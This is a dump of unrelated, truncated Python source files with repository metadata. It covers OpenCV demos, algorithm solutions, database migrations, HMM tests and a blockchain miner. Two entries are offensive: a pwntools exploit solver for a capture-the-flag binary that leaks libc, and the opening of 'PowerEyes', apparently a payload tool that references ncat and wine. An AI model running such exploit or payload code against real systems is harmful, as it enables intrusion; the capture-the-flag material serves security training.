[ "Unlicense", "MIT" ]
null
null
null
scripts/open_cv/open_cv_sw03_region_of_interest.py
ProfJust/Ruhr-TurtleBot-Competition-RTC-
5c2425bee331b4d5033757a9425676932d111775
[ "Unlicense", "MIT" ]
null
null
null
scripts/open_cv/open_cv_sw03_region_of_interest.py
ProfJust/Ruhr-TurtleBot-Competition-RTC-
5c2425bee331b4d5033757a9425676932d111775
[ "Unlicense", "MIT" ]
null
null
null
#!/usr/bin/env python3 # ################################################################################ # edited WHS, OJ , 7.1.2022 # import cv2 # lese Bild von Festplatte image = cv2.imread('/home/oj/catkin_ws/src/rtc/scripts/open_cv/test.png') # Position y, x y = 100 x = 50 # waehle eine Region of Interest an P...
24.212121
82
0.645807
ce00fa348cb3c2477560c5069cb12887d8b89ff3
467
py
Python
leetcode/139-Word-Break/WordBreak_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2015-12-16T04:01:03.000Z
2015-12-16T04:01:03.000Z
leetcode/139-Word-Break/WordBreak_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/139-Word-Break/WordBreak_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
# {Leetcode : AC, Lintcode : TLE} class Solution: # @param s, a string # @param wordDict, a set<string> # @return a boolean def wordBreak(self, s, wordDict): r = [True] + [False] * len(s) wordDict = set(wordDict) for i in range(1, len(s) + 1): for j in ...
25.944444
49
0.45182
ce059de4c7333befa61089795508a18f275ba00b
881
py
Python
migrations/versions/12ca023b94f8_.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
1
2021-06-01T14:49:18.000Z
2021-06-01T14:49:18.000Z
migrations/versions/12ca023b94f8_.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
286
2020-12-04T14:13:00.000Z
2022-03-09T19:05:16.000Z
migrations/versions/12ca023b94f8_.py
DanielGrams/gsevpt
a92f71694388e227e65ed1b24446246ee688d00e
[ "MIT" ]
null
null
null
"""empty message Revision ID: 12ca023b94f8 Revises: e759ca20884f Create Date: 2021-09-09 13:13:24.802259 """ import sqlalchemy as sa import sqlalchemy_utils from alembic import op from project import dbtypes # revision identifiers, used by Alembic. revision = "12ca023b94f8" down_revision = "e759ca20884f" branch_lab...
22.589744
86
0.683314
0204efaad80ce3af075eed7c54c8b557df4a5c10
2,401
py
Python
engine/src/brain/unconscious/inteligencia.py
Sergio-D-Barbosa/SiriusIA
6e4580ef2ea78335cc0617fc56028fa19b32be61
[ "MIT" ]
null
null
null
engine/src/brain/unconscious/inteligencia.py
Sergio-D-Barbosa/SiriusIA
6e4580ef2ea78335cc0617fc56028fa19b32be61
[ "MIT" ]
null
null
null
engine/src/brain/unconscious/inteligencia.py
Sergio-D-Barbosa/SiriusIA
6e4580ef2ea78335cc0617fc56028fa19b32be61
[ "MIT" ]
null
null
null
input1 = 1 input2 = 0 valorEsperado = 1 def neuron(x1, x2): def somatorio(peso1, peso2, bias): b = bias w1 = peso1 w2 = peso2 m1 = round((x1*w1)*100)/100 m2 = round((x2*w2)*100)/100 soma = round((m1+m2+b)*100)/100 return [w1, w2, soma, b] def activation...
31.181818
70
0.58309
ce7ed34be416b7f0b4a5614e281878996162472d
2,915
py
Python
pyntcloud/samplers/points.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
1,142
2016-10-10T08:55:30.000Z
2022-03-30T04:46:16.000Z
pyntcloud/samplers/points.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
195
2016-10-10T08:30:37.000Z
2022-02-17T12:51:17.000Z
pyntcloud/samplers/points.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
215
2017-02-28T00:50:29.000Z
2022-03-22T17:01:31.000Z
from .base import Sampler import numpy as np import pandas as pd class PointsSampler(Sampler): """ """ def extract_info(self): self.points = self.pyntcloud.points class RandomPointsSampler(PointsSampler): """ Parameters ---------- n: int Number of unique points that will...
35.120482
116
0.640823
0b6bc3b62ec923ef17e69d785283f18cf211dc29
593
py
Python
Fastir_Collector/filecatcher/windows2003ServerFiles.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
4
2021-04-23T15:39:17.000Z
2021-12-27T22:53:24.000Z
Fastir_Collector/filecatcher/windows2003ServerFiles.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
null
null
null
Fastir_Collector/filecatcher/windows2003ServerFiles.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
2
2021-04-19T08:28:54.000Z
2022-01-19T13:23:29.000Z
from __future__ import unicode_literals from fileCatcher import _FileCatcher class Windows2003ServerFiles(_FileCatcher): def __init__(self, params): super(Windows2003ServerFiles, self).__init__(params) def _changeroot(self, dir): return dir def _list_files(self): return super(Win...
29.65
78
0.752108
0ba3ba149d55ce99a37a65d242a767b6a4bc35a9
880
py
Python
haas_lib_bundles/python/docs/examples/environment_monitor_485/haas506/code/zzio606.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/environment_monitor_485/haas506/code/zzio606.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/environment_monitor_485/haas506/code/zzio606.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
class ZZIO606(object): def __init__(self, mbObj, devAddr): self.mbObj = mbObj self.devAddr = devAddr def openChannel(self, chid): if self.mbObj is None: raise ValueError("invalid modbus object.") ret = self.mbObj.writeCoil(self.devAddr, chid, 0xff00, 200) ...
32.592593
71
0.597727
f0292426ccd3175803c94b6e17446719a0c0fcf8
6,251
py
Python
wz/ui_modules/CALENDAR.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
wz/ui_modules/CALENDAR.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
wz/ui_modules/CALENDAR.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ ui_modules/CALENDAR.py Last updated: 2021-05-24 Calendar editor. Also handles school-year migration. #TODO: attendance lists -> other module =+LICENCE============================= Copyright 2021 Michael Towers Licensed under the Apache License, Version 2.0 (the "License"); you m...
31.892857
79
0.645177
b2d337746b5bdf2f4186896ef4dc36b62a6cd26e
1,951
py
Python
practices/practice_1/task4.py
br4ch1st0chr0n3/robotic_systems_labs
23b8b81dc845e00cf02460258b9cec817019957b
[ "MIT" ]
null
null
null
practices/practice_1/task4.py
br4ch1st0chr0n3/robotic_systems_labs
23b8b81dc845e00cf02460258b9cec817019957b
[ "MIT" ]
null
null
null
practices/practice_1/task4.py
br4ch1st0chr0n3/robotic_systems_labs
23b8b81dc845e00cf02460258b9cec817019957b
[ "MIT" ]
null
null
null
#%% from time import sleep from can import CANDevice, CANSocket import numpy as np can_bus = CANSocket() encoder = CANDevice(can_bus = can_bus, device_id = 0x141) encoder.command = b"\x9C"+ 7 * b"\x00" raw_state = {} def parse_sensor_data(reply): """parse the raw sensor data from the CAN frame""" raw_state...
21.921348
59
0.580728
334fc297558f12d0b8cff3339032ab2eb24dbcf1
1,149
py
Python
src/classifiers/df_classifier.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
1
2015-11-30T09:27:51.000Z
2015-11-30T09:27:51.000Z
src/classifiers/df_classifier.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
null
null
null
src/classifiers/df_classifier.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
null
null
null
# Headers __author__ = 'Somsubhra Bairi' __email__ = 'somsubhra.bairi@gmail.com' # All imports from extras import Logger from nltk import PorterStemmer # Classify according to document frequency class DFClassifier: # Constructor for the DFClassifier def __init__(self, dict_file): dictionary_file = ...
26.72093
76
0.651001
6880087718279b2456e52f376f0c43dbde0474da
655
py
Python
tests/test_markdown.py
datumbox/model-index
a39af5f8aaa2a90b8fc7180744a855282360067a
[ "MIT" ]
12
2021-02-26T08:19:00.000Z
2022-01-26T14:00:16.000Z
tests/test_markdown.py
datumbox/model-index
a39af5f8aaa2a90b8fc7180744a855282360067a
[ "MIT" ]
null
null
null
tests/test_markdown.py
datumbox/model-index
a39af5f8aaa2a90b8fc7180744a855282360067a
[ "MIT" ]
3
2021-03-19T13:51:56.000Z
2021-08-25T05:25:52.000Z
import modelindex def test_model_markdown(): mi = modelindex.load("tests/test-mi/11_markdown") assert len(mi.models) == 6 assert mi.models[0].name == "RexNet" assert mi.models[0].metadata.data["some field"] == 10 assert mi.models[1].name == "RexNet1" assert mi.models[1].metadata.data["some f...
34.473684
60
0.645802
68ac73a0f7c760c1d46fe41fdffc63c3b7cf732a
4,129
py
Python
tests/onegov/stepsequence/test_steps.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/stepsequence/test_steps.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/stepsequence/test_steps.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import pytest from onegov.stepsequence import Step, step_sequences from onegov.stepsequence.extension import StepsModelExtension, \ StepsLayoutExtension def test_step(): with pytest.raises(AssertionError): Step('1', 'ClassName', 2, cls_after='something') with pytest.raises(AssertionError): ...
28.475862
95
0.678615
acb447ed5719d7e1e4fffcc91d00327bebe4d671
33,556
py
Python
code/ext_ui_methods_lib.py
zauberwild/paamestia
88ba643d6d9dc14d8abc686d464f723ea840e4f6
[ "MIT" ]
1
2020-12-24T12:20:26.000Z
2020-12-24T12:20:26.000Z
code/ext_ui_methods_lib.py
zauberwild/paamestia
88ba643d6d9dc14d8abc686d464f723ea840e4f6
[ "MIT" ]
null
null
null
code/ext_ui_methods_lib.py
zauberwild/paamestia
88ba643d6d9dc14d8abc686d464f723ea840e4f6
[ "MIT" ]
null
null
null
""" this file include all methods for the user interface """ #from tkinter.constants import TRUE #from numpy import true_divide import globals as gl import io_lib as io import media_lib import drinks_lib as drinks """ ### ### SETUP / LOOP ### ### """ """ actions that need to be executed once on startup are here Thi...
34.881497
257
0.700083
aceff1bd9329396cb40f7218c945582ef6e551cc
5,997
py
Python
test/synthetic_test_continuous_2.py
saeyoung/tslb
5f52646260e14f44c61a670cfc75509951e5e794
[ "MIT" ]
null
null
null
test/synthetic_test_continuous_2.py
saeyoung/tslb
5f52646260e14f44c61a670cfc75509951e5e794
[ "MIT" ]
3
2020-03-24T18:18:21.000Z
2021-08-23T20:37:09.000Z
test/synthetic_test_continuous_2.py
saeyoung/tslb
5f52646260e14f44c61a670cfc75509951e5e794
[ "MIT" ]
null
null
null
############################################################# # # Test 2-2. Continuous distribution, Gaussian Linear Model # ############################################################# import sys, os sys.path.append("../..") sys.path.append("..") sys.path.append(os.getcwd()) import numpy as np import pandas as pd im...
31.898936
106
0.597465
c58f0325a861659220eaee50685a395069f7ddb5
3,549
py
Python
Common_Algorithms/HMM/GaussianHMM_test.py
xrick/WolfNLP
ff59be5a180813e7127c7eaf52db2478c20e8431
[ "MIT" ]
null
null
null
Common_Algorithms/HMM/GaussianHMM_test.py
xrick/WolfNLP
ff59be5a180813e7127c7eaf52db2478c20e8431
[ "MIT" ]
null
null
null
Common_Algorithms/HMM/GaussianHMM_test.py
xrick/WolfNLP
ff59be5a180813e7127c7eaf52db2478c20e8431
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- # 测试高斯概率的隐马尔科夫链模型 # 引入一个经典的HMM库 hmmlearn,作为参照组 # By tostq <tostq216@163.com> # 博客: blog.csdn.net/tostq import unittest import hmm import hmmlearn.hmm import numpy as np from math import sqrt class ContrastHMM(): def __init__(self, n_state, n_feature): self.module = hmmlearn.hmm.Gauss...
41.267442
134
0.678501
a8a3dbf98a9092cd8e29eda7ac1b847f84725bae
5,763
py
Python
server/server.py
cutec-chris/sce
da1f906ff4a049722b8968eeab8a07b411c92a8c
[ "MIT" ]
null
null
null
server/server.py
cutec-chris/sce
da1f906ff4a049722b8968eeab8a07b411c92a8c
[ "MIT" ]
null
null
null
server/server.py
cutec-chris/sce
da1f906ff4a049722b8968eeab8a07b411c92a8c
[ "MIT" ]
null
null
null
#!/usr/bin/env python import asyncio,websockets,json,base64,importlib,importlib.util,argparse,logging,pathlib,sys,os,time try:import watchdog.observers,watchdog.events except BaseException as e:logging.debug('Failed importing watchdog:'+str(e)) def getFile(path): path = pathlib.Path(path) if path.exists(): ...
44.330769
149
0.616866
76ba59f8c1455ecdcaa61cf02f2e3aec4640369c
2,257
py
Python
python/oneflow/test/modules/test_autograd_mode.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
python/oneflow/test/modules/test_autograd_mode.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
python/oneflow/test/modules/test_autograd_mode.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
29.311688
72
0.687638
8c9ada65758bd9fc58f7107cc17666ee9de4265a
1,886
py
Python
scripts/main.py
jdehotin/IFC4.3.x-development
5652a25dac27242af8c60f1a33206d1697948ffa
[ "FSFAP" ]
1
2021-08-31T16:12:09.000Z
2021-08-31T16:12:09.000Z
scripts/main.py
Moult/IFC4.3.x-development
5dfacdc91f04b446f9d7386b950099fc14e6587e
[ "FSFAP" ]
null
null
null
scripts/main.py
Moult/IFC4.3.x-development
5dfacdc91f04b446f9d7386b950099fc14e6587e
[ "FSFAP" ]
null
null
null
import os import sys import glob import subprocess def relative_path(*args): return os.path.abspath(os.path.join(os.path.dirname(__file__), *args)) reference_dir = relative_path("..", "reference_schemas") scripts = "to_express", "to_po", "to_bsdd" extensions = "exp", None, "json" # check PO file for non-unique k...
32.517241
86
0.533934
ba09f0f54f0997ac85a4a8b0fc354ba78e513d60
723
py
Python
docs/lectures/lecture07/notebook/helper.py
yankeesong/2021-CS109A
0fea6b4411092446719d09379c6a12815aa91ab2
[ "MIT" ]
19
2021-08-29T21:23:48.000Z
2022-03-16T14:38:25.000Z
docs/lectures/lecture07/notebook/helper.py
SBalas/2021-CS109A
0f57c3d80b7cef99d660f6a77c0166cffc1253e8
[ "MIT" ]
null
null
null
docs/lectures/lecture07/notebook/helper.py
SBalas/2021-CS109A
0f57c3d80b7cef99d660f6a77c0166cffc1253e8
[ "MIT" ]
22
2021-09-01T13:03:05.000Z
2022-03-31T14:34:36.000Z
from time import sleep import numpy as np from IPython.display import clear_output class Sprinter: def __init__(self, base_speed, variance): self.base_speed = base_speed self.variance = variance @property def time(self): return np.random.normal(loc=self.base_speed, scale=self.va...
27.807692
107
0.593361
ad13d46e98856777f608269c6c932adbeb630e44
531
py
Python
setsolver/board.py
vidagy/setsolver
1d69dc33768ddb5b2110b6321106947de87cb7ac
[ "Apache-2.0" ]
null
null
null
setsolver/board.py
vidagy/setsolver
1d69dc33768ddb5b2110b6321106947de87cb7ac
[ "Apache-2.0" ]
null
null
null
setsolver/board.py
vidagy/setsolver
1d69dc33768ddb5b2110b6321106947de87cb7ac
[ "Apache-2.0" ]
null
null
null
from dataclasses import dataclass from typing import Set from setsolver.card import Card @dataclass class Board: """ Represents the boards, that contains all cards dealt on the table. """ cards: Set[Card] @property def number_of_cards(self) -> int: """ Returns the number of ...
21.24
72
0.627119
ad26e76e8d9c6831e23a9bd97c7ea5a5c1f6fa55
2,271
py
Python
src/mini_batch_gradient_descent.py
gpu0/nnGraph
ae68af41804ce95dd4dbd6deeea57e377915acc9
[ "MIT" ]
null
null
null
src/mini_batch_gradient_descent.py
gpu0/nnGraph
ae68af41804ce95dd4dbd6deeea57e377915acc9
[ "MIT" ]
null
null
null
src/mini_batch_gradient_descent.py
gpu0/nnGraph
ae68af41804ce95dd4dbd6deeea57e377915acc9
[ "MIT" ]
null
null
null
''' f = w0x0 + w1x1 g = sig(f) ''' import numpy as np import math num_samples = 10000 #10,000 x0 = np.random.uniform(0, 1, num_samples) x1 = np.random.uniform(0, 1, num_samples) x2 = np.random.uniform(0, 1, num_samples) y = np.empty_like(x0) def Init(): w0, w1, w2 = 1, 2, 3 for i in range(num_samples): ...
25.233333
59
0.551299
ad53ae4ef073ffd3263b5c28a37fc578a39fa6ee
28,996
py
Python
PowerEyes/PowerEyes.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
4
2021-04-23T15:39:17.000Z
2021-12-27T22:53:24.000Z
PowerEyes/PowerEyes.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
null
null
null
PowerEyes/PowerEyes.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
2
2021-04-19T08:28:54.000Z
2022-01-19T13:23:29.000Z
#!/usr/bin/python3 #coding:utf-8 #AUTHOR : Dxvistxr import socket import subprocess import os import sys import requests import json import time from datetime import datetime import platform import hashlib import base64 import binascii import argparse class tools_path(): netcat = '/usr/bin/ncat' wine = '/roo...
48.569514
238
0.509001
d132d82308313403228e416679f3badd694b9b72
2,270
py
Python
Packs/CommonScripts/Scripts/ExtractHTMLTables/ExtractHTMLTables.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/CommonScripts/Scripts/ExtractHTMLTables/ExtractHTMLTables.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/CommonScripts/Scripts/ExtractHTMLTables/ExtractHTMLTables.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto # noqa: F401 from bs4 import BeautifulSoup from CommonServerPython import * # noqa: F401 def extract_html_table(html, indexes): soup = BeautifulSoup(html, 'html.parser') tables = [] for index, tab in enumerate(soup.find_all('table')): if len(indexes) > 0 and index n...
37.833333
127
0.523348
0f4bd63f3e288ddadd115e547e65223d8321a293
4,740
py
Python
Projects/simple/MovieSimulationProject.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
Projects/simple/MovieSimulationProject.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
Projects/simple/MovieSimulationProject.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
''' DEVELOPER NAME: BALAVIGNESH.M IMPLEMENTED DATE: 18-11-2018 ProjectName : Movie Theatre Project Scope: To imlementing the real Movie Theatre ticket reservation simulation project Impelemtation Details: ...
34.852941
151
0.422996
7e432458904dec3ffc5aa58f6dd8499bb9e163ad
1,969
py
Python
yolov5-coreml-tflite-converter/utils/pytorch_nms.py
SchweizerischeBundesbahnen/sbb-ml-models
485356aeb0a277907c160d435f7f654154046a70
[ "MIT" ]
null
null
null
yolov5-coreml-tflite-converter/utils/pytorch_nms.py
SchweizerischeBundesbahnen/sbb-ml-models
485356aeb0a277907c160d435f7f654154046a70
[ "MIT" ]
null
null
null
yolov5-coreml-tflite-converter/utils/pytorch_nms.py
SchweizerischeBundesbahnen/sbb-ml-models
485356aeb0a277907c160d435f7f654154046a70
[ "MIT" ]
null
null
null
import torchvision.ops from torch import nn from constants import SCORE_SLICE, CLASSES_SLICE, WH_SLICE, DEFAULT_MAX_NUMBER_DETECTION, DEFAULT_IOU_THRESHOLD, \ DEFAULT_CONF_THRESHOLD, NORMALIZATION_FACTOR from coordinates import pt_xywh2yxyx_yolo class YoloNMS(nn.Module): def __init__(self, model, max_det=DEF...
37.150943
114
0.649568
7e5dc67d8d06cd17292388c5a622e72c4d32ac55
823
py
Python
tests/onegov/election_day/test_app.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/test_app.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/test_app.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import os import transaction def test_principal_app_cache(election_day_app): assert election_day_app.principal.name == "Kanton Govikon" election_day_app.filestorage.remove('principal.yml') assert election_day_app.principal.name == "Kanton Govikon" def test_principal_app_not_existant(election_day_app): ...
28.37931
62
0.735115
7e61f6b182ba6f26a7dec52ded2f8a1fa74c9822
766
py
Python
RunFaster/concurrency/simple_thread.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
RunFaster/concurrency/simple_thread.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
RunFaster/concurrency/simple_thread.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
''' Threads run between like context switch on the cpu core. Scenario: - we have single core (A1) that supports single thread - 1200 Threads Running on the core (A1) within specific interval of time constraint: - one core handle one thread per time only ...
27.357143
90
0.583551
7eaa3dd21323194bc3e3cb28a351f7d5ccb3729d
3,061
py
Python
blockchain/miner.py
tobias-fyi/xebec
731112b60ab4bd915a9c3f57a3a96c2e37b4a119
[ "MIT" ]
null
null
null
blockchain/miner.py
tobias-fyi/xebec
731112b60ab4bd915a9c3f57a3a96c2e37b4a119
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
cs/lambda_cs/05_hash_tables_and_blockchain/Blockchain/client_mining_p/miner.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
""" Blockchain — Day 1 Project :: Client """ import hashlib import json from pprint import pprint import sys import requests def proof_of_work(block): """Simple Proof of Work Algorithm. Stringify the block and look for a proof. Loop through possibilities, checking each one against `valid_proof` in a...
31.234694
79
0.618752
7eb56ccd16e730380df5eebe075b3119be272bd5
1,142
py
Python
speak_ip.py
kadinu/Chen
014e51e83c3a41a8e2cffb3d87207ae805e7e2fe
[ "Apache-2.0" ]
null
null
null
speak_ip.py
kadinu/Chen
014e51e83c3a41a8e2cffb3d87207ae805e7e2fe
[ "Apache-2.0" ]
null
null
null
speak_ip.py
kadinu/Chen
014e51e83c3a41a8e2cffb3d87207ae805e7e2fe
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # coding=utf-8 import time import socket import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage # the e-mail config # this is just a simple format,this e-mail doesn't exist. smtpserver = "smtp.163.com" username = ...
24.826087
57
0.683012
0e4141ed5c3afd7d853a28d341aa1c0769fc9217
2,299
py
Python
pwn/kudanil_lsi2/src/solver.py
vidner/codepwnda-ctf
7e086044b753fe555b44395b79827d2f5b89da1d
[ "Unlicense" ]
6
2021-02-18T15:07:55.000Z
2022-02-04T01:38:10.000Z
pwn/kudanil_lsi2/src/solver.py
vidner/codepwnda-ctf
7e086044b753fe555b44395b79827d2f5b89da1d
[ "Unlicense" ]
null
null
null
pwn/kudanil_lsi2/src/solver.py
vidner/codepwnda-ctf
7e086044b753fe555b44395b79827d2f5b89da1d
[ "Unlicense" ]
null
null
null
from pwn import * from sys import * from time import * p = process("./kudanil_lsi2") binary = ELF("./kudanil_lsi2") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") context.arch = 'amd64' # leaking cmd = "b *0x00000000004015df" if(len(argv) == 3): gdb.attach(p, cmd) def leak(pil,lev, y, x): p.sendline("q") p.sendline...
20.9
82
0.636799
0e8ab90aa8e1fdd12f60a57528acf5daa341ba5b
2,025
py
Python
tests/unit/scalar_fields/test_eigenvalues_scalar_fields.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
1,142
2016-10-10T08:55:30.000Z
2022-03-30T04:46:16.000Z
tests/unit/scalar_fields/test_eigenvalues_scalar_fields.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
195
2016-10-10T08:30:37.000Z
2022-02-17T12:51:17.000Z
tests/unit/scalar_fields/test_eigenvalues_scalar_fields.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
215
2017-02-28T00:50:29.000Z
2022-03-22T17:01:31.000Z
import pytest import numpy as np from pyntcloud.scalar_fields.eigenvalues import ( Anisotropy, Curvature, Eigenentropy, EigenSum, Linearity, Omnivariance, Planarity, Sphericity ) @pytest.mark.parametrize("scalar_field_class", [ Anisotropy, Planarity ]) @pytest.mark.usefixture...
28.928571
118
0.738272
7d05ae339f8112c1b20c7d676fe883799386ad55
17,906
py
Python
tools/generate_functional_api.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
tools/generate_functional_api.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
tools/generate_functional_api.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
32.675182
121
0.608735
70dfb35fda338c16a183ffd608e3d8565a893095
401
py
Python
python/python_backup/PRAC_PYTHON/ab37.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/python_backup/PRAC_PYTHON/ab37.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/python_backup/PRAC_PYTHON/ab37.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
class factorial: def __init__(self): self.n=0 def accept(self,n1): self.n=n1 def calculate(self): self.f=1 for i in range(1,self.n,1): self.f=self.f*i def showdata(self): print x.f x...
18.227273
58
0.438903
cb00ac1fd9043d9f7622a95b7c89f9922fc1e695
244
py
Python
plugin/framework/plugin_base.py
pysprings/beginner-talk-abc
225c5c4872bc150370f784f6f2e374663a2f85e8
[ "Unlicense" ]
null
null
null
plugin/framework/plugin_base.py
pysprings/beginner-talk-abc
225c5c4872bc150370f784f6f2e374663a2f85e8
[ "Unlicense" ]
null
null
null
plugin/framework/plugin_base.py
pysprings/beginner-talk-abc
225c5c4872bc150370f784f6f2e374663a2f85e8
[ "Unlicense" ]
null
null
null
from abc import ABCMeta, abstractmethod class PluginBase(object): __metaclass__ = ABCMeta @abstractmethod def match(self, value): pass @abstractmethod def operate(self, value1, value2): pass
17.428571
40
0.631148
cb51d3b05e356c88eae585067b3e7bdf84d4a9d2
144
py
Python
PYTHON/Numpy/polynomials.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
PYTHON/Numpy/polynomials.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
PYTHON/Numpy/polynomials.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import sys import numpy n = numpy.array(list(map(float, input().split()))) x = int(input()) print(numpy.polyval(n, x))
16
50
0.673611
